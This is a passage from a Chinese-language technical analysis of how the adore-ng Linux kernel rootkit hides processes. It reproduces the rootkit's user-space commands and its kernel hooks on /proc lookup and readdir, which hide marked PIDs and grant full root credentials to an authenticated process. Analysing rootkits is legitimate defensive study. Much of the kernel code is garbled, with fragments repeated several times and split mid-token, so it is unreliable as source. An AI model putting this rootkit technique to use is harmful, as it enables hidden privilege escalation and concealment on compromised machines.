绍它的实现。之所以想写，是因为即使介绍 Linux 内核的名著《Understanding The Linux Kernel, 3rd Edition》也没有好好介绍它，而其他的一些文章也是只言片语的 介绍怎样在 LKM 中实现几个函数来在/proc 目录下虚拟出文件来。实在不痛快！ ） 这样隐藏进程与隐藏文件就很类似了，你只要把/proc 目录下代表某个进程的数字目录隐 藏起来，也就达到了隐藏该进程的目的。 咱们从 ava 控制界面开始看。/* make pid invisible */ case 'i': if (adore_hideproc(a, (pid_t)atoi(argv[2])) &= 0) printf(&Made PID %d invisible.\n&, atoi(argv[2])); else printf(&Can't hide process.\n&);/* make pid visible */ case 'v': if (adore_unhideproc(a, (pid_t)atoi(argv[2])) &= 0) printf(&Made PID %d visible.\n&, atoi(argv[2])); else printf(&Can't unhide process.\n&);即黑客可以通过如下命令来隐藏进程。 [wzhou@DEBUG wzhou]$ ./ava i 252 [wzhou@DEBUG wzhou]$ ./ava v 252 （隐藏 PID 为 252 的进程） （显示被隐藏的 PID 为 252 的进程）在 ava 中隐藏于显示进程调用了 libinvisible.c 中的 adore_hideproc（）函数和 adore_unhideproc（）函数。/* Hide a process with PID pid */ int adore_hideproc(adore_t *a, pid_t pid) { char buf[1024];if (pid == 0) return -1;sprintf(buf, APREFIX&/hide-%d&, pid); close(open(buf, O_RDWR|O_CREAT, 0)); unlink(buf); return 0; }/* make visible again */ int adore_unhideproc(adore_t *a, pid_t pid) { char buf[1024];if (pid == 0) return -1; sprintf(buf, APREFIX&/unhide-%d&, pid); close(open(buf, O_RDWR|O_CREAT, 0)); unlink(buf); return 0; }要隐藏进程 252 就是在目录/proc 下（上面的 APREFIX 代表字符串“/proc” ）创建文件 “hide-252”(在 open 调用中带 O_CREAT 标志)，然后马上关闭创建的文件句柄，最后是删 除上面创建的“/proc/hide-252”文件。而要显示被隐藏进程，过程同“隐藏”完全一样， 只不过文件名变成了“unhide-252” 。 粗看有点丈二和尚摸不着头脑，是吗？ 在 adore-ng-0.56 的内核模块部分，关于进程隐藏的代码如下：int init_module() { 。。 。 orig_proc_lookup = proc_root.proc_iops-& proc_root.proc_iops-&lookup = adore_ }struct dentry *adore_lookup(struct inode *i, struct dentry *d){task_lock(current); task_lock(current); t ask_lock(current);if (strncmp(ADORE_KE Y, d- &d_in ame , strle n(ADO RE_KE Y)) = = 0) { if (strncmp(ADORE_KEY, d-&d_iname, strlen(ADORE_KEY)) == 0) { i f ( strncmp(ADORE_KEY, d -&d_iname, s trlen(ADORE_KEY)) = = 0 ) { current-&flags |= PF_AUTH; current-&flags |= PF_AUTH; c urrent-&flags | = P F_AUTH; current-&suid = ADORE_VER SION; current-&suid = ADORE_VERSION; c urrent-&suid = A DORE_VERSION; } else if ((current- &flag s & P F_A UTH) && } else if ((current-&flags & PF_AUTH) && } e lse i f ( (current-&flags & P F_AUTH) & & strncmp(d-&d_iname, &fullprivs&, 9) == 0) { strncmp(d-&d_iname, &fullprivs&, 9) == 0) { strncmp(d-&d_iname, &fullprivs&, 9) == 0) { current-&uid = 0; current-&uid = 0; c urrent-&uid = 0 ; current-&suid = 0; current-&suid = 0; c urrent-&suid = 0 ; current-&euid = 0; current-&euid = 0; c urrent-&euid = 0 ; current-&gid = 0; current-&gid = 0; current-&gid = 0 ; current-&egid = 0; current-&egid = 0; c urrent-&egid = 0 ; current-&fsuid = 0; current-&fsuid = 0; current-&fsuid = 0 ; current-&fsgid = 0; current-&fsgid = 0; c urrent-&fsgid = 0 ;cap_set_full(current-&cap _effe ctive); cap_set_full(current-&cap_effective); c ap_set_full(current-&cap_effective); cap_set_full(current-&cap _inhe ritable); cap_set_full(current-&cap_inheritable); c ap_set_full(current-&cap_inheritable); cap_set_full(current-&cap _perm itted); cap_set_full(current-&cap_permitted); c ap_set_full(current-&cap_permitted); } else if ((current-&flags & PF_AUTH) && strncmp(d-&d_iname, &hide-&, 5) == 0) { hide_proc(adore_atoi(d-&d_iname+5)); } else if ((current-&flags & PF_AUTH) && strncmp(d-&d_iname, &unhide-&, 7) == 0) { unhide_proc(adore_atoi(d-&d_iname+7)); } else if ((current- &flag s & P F_A UTH) && } else if ((current-&flags & PF_AUTH) && } e lse i f ( (current-&flags & P F_AUTH) & & strncmp(d-&d_iname, &uninstall&, 9) == 0) { strncmp(d-&d_iname, &uninstall&, 9) == 0) { strncmp(d-&d_iname, &uninstall&, 9) == 0) { cleanup_module(); cleanup_module(); c leanup_module(); } } }task_unlock(current); task_unlock(current); t ask_unlock(current);if (should_be_hidden(adore_atoi(d-&d_iname)) && /* A hidden ps must be able to see itself! */ !should_be_hidden(current-&pid)) return NULL;return orig_proc_lookup(i, d); }filldir_t proc_filldir = NULL; spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED;int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) { char abuf[128];memset(abuf, 0, sizeof(abuf)); memcpy(abuf, name, nlen & sizeof(abuf) ? nlen : sizeof(abuf) - 1);if (should_be_hidden(adore_atoi(abuf))) return 0;if (proc_filldir) return proc_filldir(buf, name, nlen, off, ino, x); return 0; }int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) { int r = 0;spin_lock(&proc_filldir_lock); proc_filldir = r = orig_proc_readdir(fp, buf, adore_proc_filldir); spin_unlock(&proc_filldir_lock); }我们看了与隐藏进程相关的用户态代码（在 ava.c 与 libinvisible.c 中） ，也看到了相关内 核态代码（在 adore-ng.c 中） 。但关键是这中间是怎么连起来的呢？ 隐藏进程分为两步： 1. 先对要隐藏的进程做标记，表示该进程是需要被隐藏的 2. 当用户查看/proc 目录下的特殊文件时，如果代表某个进程的目录被标记为要隐藏，则不 显示 （即实现隐藏） --- 这里的所谓 “用户” 有两种， “肉鸡” 一是 的主人， 他通过 ls /proc 类似命令来访问/proc，目录；二是如 ps，top 这样的程序。 在 ava 中的 adore_hideproc（）是对要隐藏的进程做标记。流程分析如下： adore_hideproc （a, 252） 调用系统调用 open( “/proc/hide-252” O_RDWR|O_CREAT, , 0)，接下来就进入 Linux 内核了。asmlinkage long sys_open(const char * filename, int flags, int mode) { char * char * c har *int fd, int fd, i nt f d,#if BITS_PER_LO NG != 32 #if BITS_PER_LONG != 32 #if B ITS_PER_LONG ! = 3 2 flags |= O_LARGEFILE; flags |= O_LARGEFILE; f lags | = O _LARGEFILE; #endif #endif #endif tmp = getname(filena me); tmp = getname(filename); t mp = g etname(filename); fd = PTR_ERR(tmp); fd = PTR_ERR(tmp); f d = P TR_ERR(tmp); if (!IS_ERR(tmp)) { if (!IS_ERR(tmp)) { i f ( !IS_ERR(tmp)) { fd = get_unused_fd(); fd = get_unused_fd(); f d = g et_unused_fd(); if (fd &= 0) { if (fd &= 0) { i f ( fd & = 0 ) { struct file *f = filp_open(tmp, flags, mode); error = PTR_ERR(f); error = PTR_ERR(f); e rror = P TR_ERR(f); if (IS_ERR(f)) if (IS_ERR(f)) i f ( IS_ERR(f)) goto out_ goto out_ g oto o ut_ fd_install(fd, f); fd_install(fd, f); f d_install(fd, f ); } } } out: out: out: putname(tmp); putname(tmp); p utname(tmp); } } }out_error: out_error: out_error: put_unused_fd(fd); put_unused_fd(fd); p ut_unused_fd(fd); fd = fd = f d = }进入 filp_open（）函数struct file *filp_open(const char * filename, int flags, int mode) { int namei_flags, int namei_flags, i nt n amei_flags, s namei_flags = namei_flags = n amei_flags = if ((namei_flags+1) & O_A CCMOD E) if ((namei_flags+1) & O_ACCMODE) i f ( (namei_flags+1) & O _ACCMODE) namei_flags++; namei_flags++; n amei_flags++; if (namei_flags & O_ TRUNC ) if (namei_flags & O_TRUNC) i f ( namei_flags & O _TRUNC) namei_flags |= 2; namei_flags |= 2; n amei_flags | = 2 ;error = open_namei(filename, namei_flags, mode, &nd); if (!error) if (!error) i f ( !error) return dentry_open(nd.den try, n d.mnt, fl ags); return dentry_open(nd.dentry, nd.mnt, flags); r eturn d entry_open(nd.dentry, n d.mnt, f lags);return ERR_PTR(error ); return ERR_PTR(error); r eturn E RR_PTR(error); }调用 open_namei()函数，该函数实现了从字符串形式的路径名到真正代表目录或文件的 inode 的转换。int open_namei(const char * pathname, int flag, int mode, struct nameidata *nd) { int acc_mode, error = 0; int acc_mode, error = 0; i nt a cc_mode, e rror = 0 ; struct inode * struct inode * s truct i node * struct dentry * struct dentry * s truct d entry * struct dentry * struct dentry * s truct d entry * int count = 0; int count = 0; i nt c ount = 0 ;acc_mode = ACC_MODE( flag) ; acc_mode = ACC_MODE(flag); a cc_mode = A CC_MODE(flag);/* /* /* * The simplest case - just a plain lookup. * The simplest case - just a plain lookup. * T he s implest c ase - j ust a p lain l ookup. */ */ */ if (!(flag & O_CREAT )) { if (!(flag & O_CREAT)) { i f ( !(flag & O _CREAT)) { error = path_lookup(pathname, lookup_flags(flag), nd); if (error) if (error) i f ( error) dentry = nd-& dentry = nd-& d entry = n d-& } } }。。 。调用 path_lookup（）函数int path_lookup(const char *path, unsigned flags, struct nameidata *nd) { int error = 0; if (path_init(path, flags, nd)) error = path_walk(path, nd); }调用 path_walk（）函数int path_walk(const char * name, struct nameidata *nd) { current-&total_link_count = 0; return link_path_walk(name, nd); }调用 link_path_walk（）函数int link_path_walk(const char * name, struct nameidata *nd) { struct dentry * struct dentry * s truct d entry * struct inode * struct inode * s truct i node *
unsigned int lookup_ flags = nd -& unsigned int lookup_flags = nd-& u nsigned i nt l ookup_flags = n d-&while (*name=='/') while (*name=='/') w hile ( *name=='/') name++; name++; n ame++; if (!*name) if (!*name) i f ( !*name) goto return_ goto return_ g oto r eturn_inode = nd-&dentry-& d_ inode = nd-&dentry-&d_ i node = n d-&dentry-&d_ if (current-&link_co unt) if (current-&link_count) i f ( current-&link_count) lookup_flags = LOOKUP_FOL LOW; lookup_flags = LOOKUP_FOLLOW; l ookup_flags = L OOKUP_FOLLOW;/* At this point we k now w e ha ve a real p ath c ompo nent. */ /* At this point we know we have a real path component. */ / * A t t his p oint w e k now w e h ave a r eal p ath c omponent. * / for(;;) { for(;;) { f or(;;) { uerr = permission(inode, M AY_EX EC); err = permission(inode, MAY_EXEC); e rr = p ermission(inode, M AY_EXEC); dentry = ERR_PTR(err); dentry = ERR_PTR(err); d entry = E RR_PTR(err); if (err) if (err) if ( err)this.name = this.name = t his.name = c = *(const unsigned char *) c = *(const unsigned char *) c = * (const u nsigned c har * )hash = init_name_hash(); hash = init_name_hash(); h ash = i nit_name_hash(); do { do { do { name++; name++; n ame++; hash = partial_name_hash(c, ha sh); hash = partial_name_hash(c, hash); h ash = p artial_name_hash(c, h ash); c = *(const unsigned char *) c = *(const unsigned char *) c = * (const u nsigned c har * ) } while (c && (c != '/')); } while (c && (c != '/')); } w hile ( c & & ( c ! = ' /')); this.len = name - (const c har * ) this. this.len = name - (const char *) this. t his.len = n ame - ( const c har * ) t his. this.hash = end_name_hash (hash ); this.hash = end_name_hash(hash); t his.hash = e nd_name_hash(hash);/* remove trailing slashe s? */ /* remove trailing slashes? */ / * r emove t railing s lashes? * / if (!c) if (!c) i f ( !c) goto last_ goto last_ g oto l ast_ while (*++name == '/'); while (*++name == '/'); w hile ( *++name = = ' /'); if (!*name) if (!*name) i f ( !*name) goto last_with_ goto last_with_ g oto l ast_with_/* /* /* * &.& and &..& are special - &..& especially so because it has * &.& and &..& are special - &..& especially so because it has * & .& a nd & ..& a re s pecial - & ..& e specially s o b ecause i t h as* to be able to know about the current root directory and * to be able to know about the current root directory and * t o b e a ble t o k now a bout t he c urrent r oot d irectory a nd * parent relationships. * parent relationships. * p arent r elationships. */ */ */ if (this.name[0] == '.') s witc h (this.le n) { if (this.name[0] == '.') switch (this.len) { i f ( this.name[0] = = ' .') s witch ( this.len) { default: default: d efault: case 2: case 2: c ase 2 : if (this.name[1] != '.') if (this.name[1] != '.') i f ( this.name[1] ! = ' .') follow_dotdot(nd); follow_dotdot(nd); f ollow_dotdot(nd); inode = nd-&dentry-&d_ inode = nd-&dentry-&d_ i node = n d-&dentry-&d_ /* fallthrough */ /* fallthrough */ / * f allthrough * / case 1: case 1: c ase 1 : } } } /* /* /* * See if the low-level filesystem might want * See if the low-level filesystem might want * S ee i f t he l ow-level f ilesystem m ight w ant * to use its own hash.. * to use its own hash.. * t o u se i ts o wn h ash.. */ */ */ if (nd-&dentry-&d_op && n d-&de ntry-&d_op -&d_h ash) { if (nd-&dentry-&d_op && nd-&dentry-&d_op-&d_hash) { i f ( nd-&dentry-&d_op & & n d-&dentry-&d_op-&d_hash) { err = nd-&dentry-&d_op-&d_hash (nd-&dentr y, &t his); err = nd-&dentry-&d_op-&d_hash(nd-&dentry, &this); e rr = n d-&dentry-&d_op-&d_hash(nd-&dentry, & this); if (err & 0) if (err & 0) i f ( err & 0 ) } } } /* This does the actual l ookup s.. */ /* This does the actual lookups.. */ / *